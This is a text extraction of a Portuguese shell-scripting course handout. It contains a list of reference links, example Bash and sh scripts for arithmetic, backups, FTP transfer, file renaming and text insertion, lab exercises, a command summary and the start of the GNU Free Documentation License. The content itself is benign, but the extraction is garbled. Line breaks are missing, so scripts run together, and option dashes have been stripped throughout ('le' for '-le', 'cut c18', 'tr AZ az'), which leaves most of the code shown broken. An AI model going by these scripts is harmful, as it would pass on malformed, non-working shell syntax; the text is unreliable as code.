Capitulo 7. Capitulo 7. Apêndice A – Endereços InternetApêndice A – Endereços Internet

1 Guia focalinux http://www.focalinux.org 

2 AdvBashScrHOWTO http://www.linuxdoc.org   

3 Programação de Shell Scripts http://unsekurity.virtualave.net/txts/shscript.txt 

4 UNIX Bourne Shell Programmin http://www.torget.se/users/d/Devlin/   shell    

5 Bash FAQ  ftp://ftp.cwru.edu/pub/bash/FAQ 

6 Bash Reference Manual http://www.gnu.org/manual/bash2.02/bashref.html 

7 BourneAgain SHell Home Page http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html 

8 Underlinux  http://sh.underlinux.com.br 

9 Expressões Regulare http://guiaer.sourceforge.net 

10 sedHOWTO http://verde666/sed 

11 Programação em Shell Script http://www.jonathas.com.br/manual   shell   .txt    

12 UNIX Power Tools http://docs.online.bg/OS/unix_power_tools/index.htm 

13 Linux: Programação Shell http://www.brasport.com.br 

14 Verdade Absoluta http://www.absoluta.org

15 Wargames  www.pulltheplug.comwww.hackerslab.org 

16 Lista de discussão nacional sobre Shell Script

http://br.groups.yahoo.com/group/shellscript 

17 Dicas http://www.semlimites.com.br/informatica/informatica_software_sistemasoperacionais_unix_linux.shtm  

18 IBMAIX http://www.ibm.com 

19 Unix – Perguntas e respostas http://www.klingon.com.br/unix/unix.html 

20 Introdução ao Unix http://www.nicke.fenixnet.ccom.br/unix.html 

21 Criando   programas   usando   o Shell

htttp://www.icmsc.sc.usp.br/manuais/UNIX   

  

Adbeel Goes Filho

Page 117: Apostila de Shell Script

   ShellScripts                                                                           117

Capitulo 8. Capitulo 8. AnexosAnexos

Adbeel Goes Filho

Page 118: Apostila de Shell Script

   ShellScripts                                                                           118

1.1. ExemplosExemplos

 7. Matemática

Soma de n números naturais

#!/bin/shclearecho "Qual o número ?"read nsoma=0for w_i in $(seq 1 $n ) ;     do       soma=$( expr $soma + $w_i)    doneecho "A soma dos $n primeiros números naturais é $soma"exit 0

Fatorial

#!/bin/shclearread p "Qual o número para o cálculo do fatorial ?" nif [ $n le 0 ];   then      echo "Não existe fatorial de número negativo"      exit 1fi;fatorial=1for  w_i in $( seq 1 $n ) ;      do        fatorial=$[ $fatorial * $w_i ]     doneecho "O fatorial de $n é $fatorial"exit 0

Adbeel Goes Filho

Page 119: Apostila de Shell Script

   ShellScripts                                                                           119

 8. Acesso

Como ter apenas um login por usuário 

#!/bin/sh# vi /usr/bin/login_unico 

VAR=`who | cut c18 | tr d "\040" | grep n "^\'echo $LOGNAME\`$" |wc l` if [ $VAR gt 1 ] && [ $LOGNAME = "root" ]     then     echo MENSAGEM DE LOGIN INVALIDO     sleep 10      exit fi # chmod 755 login_unico # vi /etc/profile ... 

Como repetir os últimos comandos no Unix

Arquivo de controle : $HOME/.sh_history Total de cmds .........: 171 (em media) Ativacao .................: set o vi Shell responsável .....: ksh Inclua o comando de ativação no arquivo $HOME/.profile. Incluir no arquivo /etc/passwd: ... ... usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh Para mostrar e executar os últimos comandos tecle ESCape "k" Transferência de arquivos em redes TCP/IP (Script Shell)  Crie no /usr/bin um arquivo chamado envia e outro recebe com os seguintes conteúdos: Arquivo envia: #!/bin/sh a=$1 shift ftp i $a > $HOME/ftp.log <<EOF bin mput $* quit EOF Arquivo recebe: #!/bin/sh a=$1 shift ftp i $a > $HOME/ftp.log <<EOF 

Adbeel Goes Filho

Page 120: Apostila de Shell Script

   ShellScripts                                                                           120

bin mget $* quit EOF Troque as permissões dos arquivos para : # chmod 755 /usr/bin/envia /usr/bin/recebe # chown root /usr/bin/envia /usr/bin/recebe # chgrp root /usr/bin/envia /usr/bin/recebe Sintax : # envia machine arquivo ou # recebe machine arquivo 

 9. Conversão de letras maiúsculas para  minúsculas

#!/bin/bash# renomeia arquivos que tenham nome em maiusculas para o equivalente em minusculas

[ $# lt 1 ] && {    echo "*** Erro: você precisa passar os arquivos que quer renomear"    echo "Uso: Mminusculas arquivo1 [arquivoN]"    exit}

# repare que o for a seguir nao tem o "in listadeargumentos"!

for maiusculado    [ e "$maiuscula" ] || {        echo "$maiuscula não existe, continuando com o próximo arquivo"        continue    }    minuscula=$( echo $maiuscula | tr AZ az )    mv $maiuscula $minusculadone

 10. Backup

 #!/bin/bash# OBS.: Por favor melhore este script! :)# Se o número de parâmetros for menor que 2...[ $# lt 2 ] && {  echo "Uso: `basename $0` destino origem [origem2 origem3...]"  exit 1        # ... sai do script}

Adbeel Goes Filho

Page 121: Apostila de Shell Script

   ShellScripts                                                                           121

echo "> Fazendo backup"FILE="${1}_$(/bin/date +%d%m%Y).tgz"shift# Aqui está o "segredo": o shift acima é executado para que eu possa usar "$*" no if abaixo.

if tar czf $FILE $* ; then  echo "Backup feito com sucesso"else  echo "ERRO" 1>&2  exit 1fi

 11. Visualizar HOWTO

 #!/bin/bash## *********************************************# * Script para visualizar HOWTOs rapidamente *# *********************************************#               http://meleu.da.ru#          meleu <[email protected]>#    Inspirado em um outro script que vi no TipsHOWTO.#    O script do TipsHOWTO era muito simples, fiz algumas# modificações que são interessantes para nós que falamos# português e de vez em quando temos uns HOWTOs traduzidos,# e ainda fiz um "suporte" aos miniHOWTOs. ;)#    E mais: se você não lembra direito do nome do HOWTO, pode# passar apenas a(s) primeira(s) letra(s) e/ou usar os curingas# ('*', '?' e '[]'), mas aconselhase, neste último caso, o uso de# aspas ("quoting") para evitar que seja passado como parâmetro(s)# o conteúdo do diretório atual. Caso ele encontre mais de um# arquivo para a expressão você poderá escolher através da tela que# aparecerá.# Exemplos:# [prompt]$ howto Net# [prompt]$ howto "*[Bb]ash"# [prompt]$ howto "*Prog"##    Se você ainda não tem e não sabe onde pegar HOWTOs traduzidos# procure em http://ldpbr.conectiva.com.br## Prérequisitos para o script funcionar direitinho (ou seja, sem# precisar de alterações):#    + os HOWTOs devem estar em "/usr/doc/LinuxHOWTOs";#    + os HOWTOs em português devem estar em "/usr/doc/LinuxHOWTOs.pt";

Adbeel Goes Filho

Page 122: Apostila de Shell Script

   ShellScripts                                                                           122

#    + os miniHOWTOs devem estar em "/usr/doc/LinuxminiHOWTOs";#    + todos os [mini]HOWTOs[.pt] devem estar gzipados, se os seus não#      estão assim basta entrar no diretório dos HOWTOs e digitar#      "gzip *".###    Se você testou o script, ele funcionou direitinho e você gostou,# então digite "cp howto.sh /usr/local/bin/howto" para que todos do# seu sistema possam utilizálo. ;)## Aproveite!# Estes são os diretórios onde são instalados os [mini]HOWTOs no# Slackware. Se a sua distribuição usa um diretório diferente# mude a(s) variável(is) a seguir.HTDIR=/usr/doc/LinuxHOWTOsminiHTDIR=/usr/doc/LinuxminiHOWTOsPTHTDIR=/usr/doc/LinuxHOWTOs.pt     # este é onde eu coloco os traduzidos

# Variáveis que indicam as cores (pra não precisar ficar# digitando os códigos ANSI toda hora)BLUE="\e[1;34m"RED="\e[1;31m"NCOLOR="\e[m"

function Ler {zless $1echo e "${RED}\nTchau!\n$NCOLOR"exit}

# Função que mostra a lista dos HOWTOs e sai do script.function Lista {        ls C $HTDIR | less        echo e "${BLUE}Uso:$NCOLOR `basename $0` [p | m] nomedoHOWTOFaça '`basename $0` h' para ver a descrição das opções."        exit 1}

# se não for passado nenhum parâmetro ele mostra a lista[ z "$1" ] && Lista

# #  TESTA PARÂMETROS 

Adbeel Goes Filho

Page 123: Apostila de Shell Script

   ShellScripts                                                                           123

# case $1 in

#   mensagem de ajuda #  h) echo e "${RED}[ Lista de opções ]$NCOLORp \t HOWTOs em portuguêsm \t miniHOWTOsh \t imprime esta mensagem"    exit        # depois da mensagem de ajuda, sair;;

#  HOWTOs em português # p) HTDIR=$PTHTDIR    [ z "$2" ] && Lista    shift       # Lembra do 'shift'? Aqui ele faz com que o primeiro                # parâmetro deixe de ser 'p' para ser o nomedoHOWTO;;

#  miniHOWTOs # m) HTDIR=$miniHTDIR    [ z "$2" ] && Lista    shift       # mesma função do shift no 'p';;

esac    # Ao fim deste case $1 tem necessariamente o nome ou a(s)        # primeira(s) letra(s) do nome do HOWTO a ser procurado.

cd $HTDIR

FILE=`ls $1*.gz 2>/dev/null`

[ `echo $FILE | wc w` gt 1 ] && {   PS3="Entre com o número: "   select opc in $FILE Sair ; do

        [ "$opc" = "Sair" ] && exit

        for HOWTO in $FILE ; do            [ "$opc" = "$HOWTO" ] && Ler $HOWTO        done    done

Adbeel Goes Filho

Page 124: Apostila de Shell Script

   ShellScripts                                                                           124

}

[ e "$FILE" ] && Ler $FILE

# Isto só será executado se não for encontrado o HOWTOecho e "${RED}* * * HOWTO não encontrado * * *$NCOLOR"echo "Tente '`basename $0` [p | m]' para ver a lista"exit 1

 12. todo.sh

 #!/bin/bash

PROG=`basename $0`EDITOR=`which vi`FILE="$HOME/.ToDo"USAGE="Uso: $PROG [h|e]"

case $1 in        h) echo "$USAGE

e      edita a lista de \"Para Fazer\" (To Do)h      imprime esta mensagem e sai

Sem parâmetros $PROG irá mostrar a lista de \"ToDo\"."            exit ;;

        e) $EDITOR $FILE            exit ;;

        '') cat $FILE 2> /dev/null || {                echo "Você precisa criar o arquivo $HOME/.ToDo !"                echo "Entre \"$PROG e\" para editar seu ~/.ToDo"                echo "Para ajuda tente \"$PROG h\""                exit 1            } ;;

        *) echo "Parâmetro \"$1\" desconhecido!"           echo "$USAGE"           echo "Entre com \"$PROG h\" para ajuda."           exit ;;

Adbeel Goes Filho

Page 125: Apostila de Shell Script

   ShellScripts                                                                           125

esac 

 13. inseretxt.sh

 

#!/bin/bash## Muitas vezes durante a escrita do texto# "Programação em BourneAgain Shell" eu precisava# inserir um código de um script numa determinada# posição do arquivo e esta posição ficava entre muito texto antes e depois # dessa linha.# Para fazer isso de uma maneira mais cômoda, eu escrevi este script.# Para informações sobre o uso tente o parâmetro 'h' ou# 'help'.# Se você passar como o parâmetro "linha" um número maior# que o de linhas total do "ArqOriginal" os "arquivosN"# serão inseridos no final do "ArqOriginal".# Ah! Lembrese de uma coisa: "linha" precisa ser um# inteiro positivo. E lembrese de mais uma coisa: 0# não é um número positivo. ;)# meleu.#

B="\e[1m"N="\e[m"USO="Uso: `basename $0` linha ArqOriginal arquivo1 [arquivoN ...]"AJUDA="Tente \"`basename $0` help\" para ajuda"

[ "$1" = 'h' o "$1" = 'help' ] && {    echo e "${B}Insere o conteúdo de arquivo(s) dentro de um outro.$N

$USO

Onde:\"linha\"       é a linha onde o texto será inserido\"ArqOriginal\" é o arquivo que receberá os textos \"arquivoN\"    são os arquivos que serão inseridos em ArqOriginal"    exit}

[ $# lt 3 ] && {

Adbeel Goes Filho

Page 126: Apostila de Shell Script

   ShellScripts                                                                           126

    echo e ${B}Erro: erro na passagem de parâmetros$N    echo $USO    echo $AJUDA    exit 1}

Linha=$1# verificando se $Linha é um número inteiro positivo[ `expr $Linha  1 2>/dev/null` ge 0 ] 2>/dev/null || {    echo e ${B}Erro: O primeiro parâmetro precisa ser inteiro positivo$N    echo $AJUDA    exit 1}

ArqOriginal=$2[ f $ArqOriginal ] || {    echo e ${B}Erro: \"$ArqOriginal\" não existe ou não é um arquivo regular$N    echo $AJUDA    exit 2}

function ApagarSair {    rm "$1"    exit $2}

shift 2Temp=/tmp/`basename $ArqOriginal`$$.tmp

# > início do arquivo original:head $[$Linha1] $ArqOriginal > $Temp

# > arquivos que serão inseridos:ContaAcerto=0for Arq in "$@"; do    [ f "$Arq" ] || {        echo e ${B}OBS.: \"$Arq\" não existe ou não é um arquivo regular$N        continue    }    cat $Arq >> $Temp    (( ContaAcerto++ ))done[ $ContaAcerto eq 0 ] && {    echo e ${B}Nenhum arquivo foi inserido em \"$ArqOriginal\"$N    ApagarSair $Temp 3

Adbeel Goes Filho

Page 127: Apostila de Shell Script

   ShellScripts                                                                           127

}echo

# > pra terminar, final do arquivo original:sed n "$Linha,\$p" $ArqOriginal >> $Temp

ArqFinal="$ArqOriginal.new"[ e $ArqFinal ] && {    echo e ${B}Já existe um arquivo chamado \"$ArqFinal\".$N    read n 1 p "Deseja sobregraválo? (s/N) " SN    echo    [ "$SN" != 'S' a "$SN" != 's' ] && {        echo e "$B\nOperação cancelada!$N"        ApagarSair $Temp 3    }}

cat $Temp > $ArqFinal

echo e "${B}Operação concluída com sucesso.$NConfira em \"$ArqFinal\""

ApagarSair $Temp 

 14. Mextract.sh

#!/bin/sh## ****************************# * Meleu Extraction Utility *# ****************************# http://meleu.da.ru# Este script é baseado no Phrack Extraction Utility, (mais informações# <http://www.phrack.org>). Fiz ele, primeiro para praticar, segundo para# servir como mais um exemplo no texto "Programação em BourneAgain Shell", # e último para extração dos códigos do texto. =P############## Se já existirem arquivos com o nome dos que serão extraídos# !CUIDADO! # eles serão sobregravados! Portanto, se você extrair uma vez,############# alterar o(s) código(s) extraído(s) e extrair novamente, perderá as alterações feitas!##

Adbeel Goes Filho

Page 128: Apostila de Shell Script

   ShellScripts                                                                           128

#   A seguir eu vou comentar sobre o código fazendo referência aos tópicos# do texto "Programação em BourneAgain Shell".###    + A função do IFS é explicada no tópico "2.2. Variáveis do Shell", neste script eu usei o IFS com valor nulo (vazio) para que os comandos considerem espaços que vêm antes de qualquer caractere como parte do dado. Se você fizer por exemplo "read var" e antes de entrar qualquer# coisa colocar espaços e/ou TAB, você verá que eles serão desconsiderados se o IFS tiver seu valor default (espaço, TAB, newline);##    + A opção r no read (explicada em 3.2. read) serve para ignorar o# poder que a contrabarra (backslash) tem de "escapar" os caracteres. Em# outras palavras: a opção r garante que quando o read receber uma# contrabarra ela será passada para a variável sem nenhum valor especial;##    + O cat enviando os dados para o read do while é explicado em# "5.5. Redirecionando loops" sob o título de "pipeando para o while";##    + o set é usado para fazer com que cada palavra (palavra aqui tem um# sentido de conjunto de caracteres separados por aqueles definidos no# IFS) vire um parâmetro posicional, conforme explicado em# "2.4.2. set (para editar parâmetros posicionais)". A opção  quer dizer# "acabaram as opções, o que vier a partir daqui são os valores dos# parâmetros de posição", esta opção serve para prevenir que alguma# informação que comece com o caractere  seja considerado uma opção# sendo passada para o set;##    + No tópico "2.5. Substituição de Variáveis" você verá a explicação# de se usar "FILE=${FILE:.}/$1";##    + Bom... acho que é isso. Leia o código, executeo, faça testes,# mude o código, executeo novamente, veja o que mudou nos resultados,# leia as manpages em caso de dúvidas... Enfim, use o método hacker de# aprender a programar! ;)# Espero que curta!# meleu <[email protected]>## P.S.: Quer um "dever de casa"? Altere o código para que ele verifique#       se já existe arquivos com o mesmo nome dos que estão prestes a#       serem extraídos. Se existir, alertar o usuário sobre isso. Tente#       também fazer meios de detecção dos possíveis erros que possam#       ocorrer...#       Ah, sei lá! Brinque com o código um pouco! =)#

B="\e[1m"

Adbeel Goes Filho

Page 129: Apostila de Shell Script

   ShellScripts                                                                           129

N="\e[m"

[ $# lt 1 ] && {    echo e "${B}Erro: falta parâmetros$N"    echo "Uso: `basename $0` arquivo1 [arquivoN]"    exit 1}

[ w . ] || {    echo e "${B}Erro: você não tem permissão de escrita neste diretório$N"    exit 1}OldIFS="$IFS"IFS=cat $@ |while read r LINHA ; do        IFS="$OldIFS"

        set  $LINHA        case "$1" in        '<++>')                TempIFS="$IFS"                IFS=/                set  $2                IFS="$TempIFS"                while [ $# gt 1 ]; do                    FILE=${FILE:.}/$1                    [ d $FILE ] || mkdir $FILE                    shift                done                FILE="${FILE:.}/$1"                if echo n 2>/dev/null > $FILE ; then                    echo "* Extraindo $FILE"                else                    echo e "$B> houve um erro ao tentar extrair '$FILE'"                    echo e "    este arquivo será ignorado.$N"                    unset FILE                fi                        ;;        '<>')                unset FILE        ;;        *)                [ "$FILE" ] && {                    IFS=                    echo "$LINHA" >> $FILE

Adbeel Goes Filho

Page 130: Apostila de Shell Script

   ShellScripts                                                                           130

                }        ;;        esacdoneecho "> Fim <"

15. Arquivos

Backup Diário

#!/bin/bash# VIRTVS Engenharia e Informática Ltda# Assunto = Backup Diário# Data de Inclusão = 29/09/2002# Data de Alteração = 29/09/2002# Parâmetros tar =# c =Cria arquivo tar# f =Tratar o arquivo# r =Adicionar ao final de um arquivo tar# p =Preserva as permissões# z =Compactar com gzip# v =Exibe arquivos processados# W –verify =Verifica arquivo após graválo# P absolutenames =Preserva /# tar tvf =Exibe conteúdo do arquivo tar com as permissõesclearBASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")"DESTINO=/tmp/ARQUIVO_DESTINO=${DESTINO}${BASE}.tarARQUIVO_DUMP=${DESTINO}${BASE}.pgdumpARQUIVO_ERRO="/tmp/erro.backup"TRACOS=""echo "Gerando $ARQUIVO_DESTINO ..."echo $TRACOSecho "Gerando $ARQUIVO_DUMP do PostgreSQL..."sudo u postgres  pg_dump satis > $ARQUIVO_DUMP

tar  cf $ARQUIVO_DESTINO   /etc                      2>  $ARQUIVO_ERROtar  rf $ARQUIVO_DESTINO   /home                     2>> $ARQUIVO_ERROtar  rf $ARQUIVO_DESTINO  $ARQUIVO_DUMP             2>> $ARQUIVO_ERROgzip f  $ARQUIVO_DESTINO > ${ARQUIVO_DESTINO}.gz     2>> $ARQUIVO_ERROmv    ${ARQUIVO_DESTINO}.gz  /mnt/hdc/backup           2>> $ARQUIVO_ERROecho $TRACOSecho "Fim do Backup. Arquivo=$ARQUIVO_DESTINO"exit 0

Adbeel Goes Filho

Page 131: Apostila de Shell Script

   ShellScripts                                                                           131

Backup Semanal

#!/bin/bash# VIRTVS Engenharia e Informática Ltda# Assunto  = Backup Semanal# Data de Inclusão = 29/09/2002# Data de Alteração = 29/09/2002# # Parâmetros tar =# c = Cria arquivo tar# f = Tratar o arquivo# r = Adicionar ao final de um arquivo tar# p = Preserva as permissões# z = Compactar com gzip# v =        Exibe arquivos processados# W verify = Verifica arquivo após graválo# P absolutenames = Preserva /# tar tvf = Exibe conteúdo do arquivo tar com as permissõesclear

BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")"DESTINO="/mnt/hdc/"ARQUIVO_DESTINO=${DESTINO}${BASE}.tarARQUIVO_OK="/tmp/ok.txt"ARQUIVO_ERRO="/tmp/erro.txt"TRACOS=""

echo "Gerando Cópia em Background ..."echo $TRACOS

cp   R preserve –update /home    $DESTINO  1>  $ARQUIVO_OK  2>  $ARQUIVO_ERRO & cp   R preserve update /util    $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO &cp  R preserve update /etc     $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO &cp   R preserve update  /var     $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO &

echo $TRACOSecho "Fim"exit 0

Adbeel Goes Filho

Page 132: Apostila de Shell Script

   ShellScripts                                                                           132

 16. Uso de Função

#!/bin/shmenu (){ echo "Entre com uma opcao:" echo echo "1. Exibir Data e Hora" echo "2. Exibir Calendario" echo "3. Desligar o sistema" echo "4. Sair do programa" echo echo n "Escolha: " read escolha Funcao_Escolha}Funcao_Escolha (){ case $escolha in   1) echo ; date ; echo ; menu ;;   2) echo ; cal ; echo ; menu ;;   3) halt ;   4) echo "Até mais" ; echo ; exit ;; esac}menu

EXPR  : Fazer contas matemáticas.

sintaxe : expr 2 + 2  

+   adição      subtração   \*  multiplicação/   divisão%   resto  

 17. Colocando cor nas frases

Talvez vc seje vaidoso(a) e queira exibir mensagens com cor , então a sintaxe é : 

Adbeel Goes Filho

Page 133: Apostila de Shell Script

   ShellScripts                                                                           133

#!/bin/shecho e "\\033[0;31m Testando \\031[0;0m";

# O script acima exibira na tela uma mensagem abaixo :  # Testando ( mas a msg vai estar em vermelha )

Sendo que o 31 eh a cor da fonte :

Tabela de cor :                 30  preta                31  vermelha                32  verde                33  amarela                34  azul                35  rosa                36  azul piscina                37  branca      {}  FIM {} 

Adbeel Goes Filho

Page 134: Apostila de Shell Script

   ShellScripts                                                                           134

2.2. LaboratóriosLaboratórios

 

Adbeel Goes Filho

Page 135: Apostila de Shell Script

   ShellScripts                                                                           135

Laboratório 1 :Diversos ( 20060425 )

1. Qual o resultado do último comando abaixo? Havendo problemas, qual será a correção ?

#a=Universidade de#b=Fortaleza#echo $a$b

2. Qual o resultado de:#a=$(ls /tmp)

     #echo $a

3. Qual o resultado de:#echo $(ps aux | grep bash)

4. Qual o resultado de:#find / name *.html 1> /tmp/ok.txt 2> /tmp/erro.txt

5. Elabore um shellscript para  copiar todo o conteúdo de um usuário, usando a substituição do ~ para o diretório /tmp/$USER

6. Elabore um shellscript para enviar para o email  [email protected]  a relação das variáveis globais e locais alocadas no presente shell.

7. Elaborar   um  shellscript   para   copiar   todos   os   arquivos   de   jornalização   em   /var/log   para   o diretório /tmp/log utilizando a substituição de comandos.

8. Elabore um shellscript para calcular a soma dos n primeiros números inteiros positivos. Leia n em tempo de execução.

9. Elabore um shellscript para, dado um número n, exibir a Série de Fibonnacci até ele.Exemplo: 0 – 1 – 1 – 2 – 3 – 5 – 8 – ...

10.Elabore um shellscript para calcular o fatorial de um número n, passado por parâmetro.Exemplo: #./fatorial 6

Adbeel Goes Filho

Page 136: Apostila de Shell Script

   ShellScripts                                                                           136

Adbeel Goes Filho

Page 137: Apostila de Shell Script

   ShellScripts                                                                           137

Laboratório 2 :Comandos Condicionais

Elabore os seguintes  shellscripts. 

1.  Encontrar o maior dentre três números recebidos em tempo de execução.

2. Receber duas strings em tempo de execução e exibir uma mensagem se elas são iguais ou não.

3. Encontrar o registro com os dados do  usuário do login no arquivo /etc/password

4. Encontrar e gerar um arquivo com a extensão teste.bak no diretório do usuário de login se ele não existir.

5. Remover arquivos temporários de determinado usuário (Não root).

6. Remover um arquivo cujo nome é lido em tempo de execução.

7. Verificar quais arquivos em /bin podem ser lidos pelo usuário atual.

8. Exibir, caso exista, o conteúdo do arquivo /var/log/squid/access.log no editor vi.

9. Verificar se um usuário está logado e enviar uma mensagem para ele pedindo desconexão.

10.Tratar arquivos de acordo com o menu:

M e n u

del Remover arquivo

ren Renomear arquivo

cp Copiar arquivo

me Mandar conteúdo por email

end Sair do aplicativo

Adbeel Goes Filho

Page 138: Apostila de Shell Script

   ShellScripts                                                                           138

Laboratório 3 :Comandos de Repetição

1. Exibição de números de 1 a n

#!/bin/bash

read p “Qual o número n ?” n

for $i in $(seq 1 $n) ;   do        echo “$i”   done

2. Faça a geração de n números randômicos

Adbeel Goes Filho

Page 139: Apostila de Shell Script

   ShellScripts                                                                           139

Laboratório 4 :Funções

1. Exemplo de Menu

#!/bin/bash

function opcao1 {   echo “Opção 1”}function opcao2 {   echo “Opção 2”   return 10}echo “Informe a Opção”read opcase $op in1) echo “Entrei na Função opcao1”

opcao1;;

2) echo “Entrei na Função opcao2”opcao2;;

exit 0

Observe que a chamada da função deverá vir após sua declaração.

2. Elabore uma calculadora aritmética simples.

Adbeel Goes Filho

Page 140: Apostila de Shell Script

   ShellScripts                                                                           140

Laboratório 5 :Diversos

Elabore os seguintes  shellscripts. 

1. Inverter uma sequência de 'n' números ( 1 a n ).

2. Ler e exibir os usuários cadastrados em /etc/passwd

3. Consultar o IP associado a um nome de HOST ( Arquivo /etc/hosts)

4. Exibir as variáveis GLOBAIS associadas ao usuário logado.

5. Elabore um shell script para criar uma agenda de endereços. 

M e n u – [Usuário]

i Incluir

a Alterar

e Excluir

c Consultar

f Fim

Adbeel Goes Filho

Page 141: Apostila de Shell Script

   ShellScripts                                                                           141

Variáveis

     $0                   é o nome do shellscript;     $1 a $9              $1 é o primeiro parâmetro, $9 o nono, e assim por diante;     ${10}, ${11}...      quando o número do parâmetro possui mais de um dígito é necessário o uso das chaves;     $*                  todos os parâmetros em uma única string  (exceto o $0);     $@                   todos os parâmetros, cada um em strings separadas (exceto $0);     $#                   número de parâmetros (sem contar com o $0).     $?                   valor de retorno do último comando (explicado mais adiante);     $$                   PID do script.

Comando case

case <parâmetro> in  <opção 1>)  <comandos 1>                         ;;   [opção 2] )<comandos 2>                         ;;   * )                         < comandos se não for nenhuma das opções >                        ;;esac

Adbeel Goes Filho

Page 142: Apostila de Shell Script

   ShellScripts                                                                           142

Resumo dos Comandos

$0    é o nome do shellscript (a.k.a. parâmetro zero);

$1 a $9   $1 é o primeiro parâmetro, $9 o nono, e assim por diante;

${10}, ${11}.. quando o número do parâmetro possui mais de um dígito é necessário o uso das chaves;

$*  todos os parâmetros em uma única string  (exceto o $0)

$@   todos os parâmetros, cada um em strings separadas (exceto $0)

$#  número de parâmetros (sem contar com o $0).

$? valor de retorno do último comando (explicado mais adiante);

$$  PID do script;

$! PID do último comando iniciado com &

x = 0while [  "$x" le 10 ];do  echo "Execução número:  $x"?;  x = $((x+1));done;for <var> in <lista>; 

docomandos

done;

#!/bin/bashCONT=10until [ $CONT eq 0 ]; do        echo ne "$CONT\t"        let CONTdoneechocase <parâmetro> in  <opção 1>)                          <comandos 1>                         ;;   [opção 2] )                         <comandos 2>                         ;;   * )                         < comandos se não for nenhuma das opções >                        ;;esac

Adbeel Goes Filho

Page 143: Apostila de Shell Script

   ShellScripts                                                                           143

3.3. ExerciciosExercicios

Lista 20040513

1. Escreva um script chamado clean para limpar seu diretório $HOME, removendo todos os arquivos com extensão "bak" ou "~" que não tenham sido acessados há pelo menos 3 dias. Dica: use os comandos find e rm .

2. Escreva um script para criar diretórios com nome DirXXX, onde XXX varia de 001 a 299. 

3. Escreva um conjunto de scripts para gerenciar o apagamento de arquivos. O script del deve mover os arquivos passados como parâmetros para um diretório lixeira; o script undel deve mover arquivos da lixeira para o diretório corrente e o script lsdel deve listar o conteúdo da lixeira. O diretório lixeira deve ser definido através da variável de ambiente $LIXEIRA. 

4. Funda os scripts do exercício anterior em um só script del, com os demais (undel e lsdel) sendo links simbólicos para o primeiro. Como fazer para que o script saiba qual a operação desejada quando ele for chamado, sem precisar informálo via parâmetros ? 

5. Escreva um script para verificar quais hosts de uma determinada rede IP estão ativos. Para testar se um host está ativo, use o comando ping. A rede deve ser informada via linha de comando, no formato x.y.z, e o resultado deve ser enviado para um arquivo com o nome x.y.z.log. Deve ser testada a acessibilidade dos hosts de x.y.z.1 a x.y.z.254. O arquivo /etc/hosts contem os nomes dos hosts no formato: <IP> <host> <apelido>

Adbeel Goes Filho

Page 144: Apostila de Shell Script

   ShellScripts                                                                           144

Relação de Comandos do ShellScript

if [condição]; then comandos1;  else comandos2;fi; 

while [ condição ]; docomando 1; comando 2;...

done;

for <var> in <lista>; docomandos

done;

until <expressão>; do      <comandos que serão executados enquanto <expressão> retornar FALSO>done

case <parâmetro> in  <opção 1>)                          <comandos 1>                         ;;   [opção 2] )                         <comandos 2>                         ;;   * )                         < comandos se não for nenhuma das opções >                        ;;esac

select <var> in <lista de opções>;do  <comandos>done;

Adbeel Goes Filho

Page 145: Apostila de Shell Script

   ShellScripts                                                                           145

Índice alfabéticoMetacaracteres 40Pipes 41shell 10pp., 14pp., 21pp., 25, 28, 30, 32pp., 36, 38, 40p., 48pp., 59pp., 71, 82, 103, 106pp., 112, 115, 134p., 138shift 25, 27, 33, 118, 120, 122, 125, 128

Adbeel Goes Filho

Page 146: Apostila de Shell Script

   ShellScripts                                                                           146

5.5. GNU Free Documentation LicenseGNU Free Documentation License

Version 1.1, March 2000Copyright (C) 2000 Free Software Foundation, Inc.59 Temple Place, Suite 330, Boston, MA 021111307 USAEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.0. PREAMBLEThe purpose of this License is to make a manual, textbook, or other written document "free" in the sense of  freedom:  to assure everyone the effective freedom to copy and redistribute  it,  with  or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for   the   author   and   publisher   a   way   to   get   credit   for   their   work,   while   not   being   considered responsible for modifications made by others. This License is a kind of "copyleft",  which means that  derivative works of  the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual   work,   regardless   of   subject   matter   or   whether   it   is   published   as   a   printed   book.   We recommend this License principally for works whose purpose is instruction or reference.1. APPLICABILITY AND DEFINITIONSThis License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A "Secondary Section" is a named appendix or a frontmatter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the   subject   or  with   related  matters,  or   of   legal,   commercial,   philosophical,   ethical   or  political position regarding them.The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.The "Cover Texts" are certain short passages of text that are listed, as FrontCover Texts or BackCover Texts, in the notice that says that the Document is released under this License.A "Transparent" copy of the Document means a machinereadable copy, represented in a 106 format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to   text   formatters  or   for  automatic   translation   to  a  variety  of   formats  suitable   for   input   to   text 

Adbeel Goes Filho

Page 147: Apostila de Shell Script

   ShellScripts                                                                           147

